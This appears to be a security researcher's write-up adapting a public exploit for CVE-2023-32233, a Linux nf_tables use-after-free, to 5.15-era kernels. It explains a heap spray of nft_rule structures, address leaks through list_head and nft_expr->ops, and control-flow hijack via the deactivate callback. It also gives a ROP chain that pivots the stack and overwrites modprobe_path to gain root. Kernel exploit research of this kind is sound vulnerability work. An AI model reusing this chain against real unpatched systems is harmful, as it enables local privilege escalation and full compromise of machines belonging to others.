CVE-2023-32233 5.x Kernel Adaptation

Existing Exploits

1. https://github.com/Liuk3r/CVE-2023-32233/tree/main
2. https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-32233_mitigation

Reason

Since the lower version (<5.16) kernel lacks the patch, it is impossible to use the consumed field of the nft_quota structure to write and read memory addresses. Consider using ROP for privilege escalation. The Google exploit used the NFT_MSG_DELRULE+NFT_MSG_DELSET method to trigger UAF, but in actual testing, the script directly crashed in nf_table_commit->list_del_rcu.

Method

This exploit has been tested on version v5.15.110

Combining the two exploits, spray the nft_rule structure, leak the kernel stack address through list_head, leak the kernel address through nft_expr->ops, and hijack the control flow through nft_expr->ops->deactivate.

struct nft_rule {
	struct list_head		list;
	u64				handle:42,
					genmask:2,
					dlen:12,
					udata:1;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(struct nft_expr))));
};

struct nft_expr {
	const struct nft_expr_ops	*ops;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(u64))));
};


static void nft_rule_expr_deactivate(const struct nft_ctx *ctx,
				     struct nft_rule *rule,
				     enum nft_trans_phase phase)
{
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {
		if (expr->ops->deactivate)
			expr->ops->deactivate(ctx, expr, phase);        // [7]

		expr = nft_expr_next(expr);
	}
}

For convenience of privilege escalation, directly reuse the method of exp1 based on modprobe_path, and construct the ROP as follows.

// /sbin/modpath -> //tmp/modpath
void make_payload_rop(uint64_t* data) {
    data[0] = kbase + POP_5REG_RET; // skip metadata
    data[5] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate
    // /tmp/mod -  sbin/mod
    // 0x646f6d2f706d742f - 0x646f6d2f6e696273 = 0x20411bc
    data[6] = kbase + POP_RAX_RET;
    data[7] = kbase + cfg_modprobe_path+1; // [rax]
    data[8] = kbase + POP_RDI_RET;
    data[9] = 0x20411bc; // rdi
    data[10] = kbase + ADD_RAX_0_EDI; // add [rax], edi
}

First, the kernel executes to data[5], where rax holds the address of the beginning of the block (&data[0]). Use push rax; pop rsp; ret; to complete stack migration, which inevitably causes stack corruption (subsequently cannot return to user mode normally. If you need to escalate privileges to user mode, you can construct a larger block (>0x80) referring to make_payload_rop2 in the exploit, use swapgs_restore_regs_and_return_to_usermode to bypass kpti and return to user mode).

Since the fake nft_rule has 0x18 bytes of metadata (mainly 8 bytes at offset 0x10), you need to use pop to skip these addresses. After that, you can freely play, using some short gadgets to modify modprobe_path.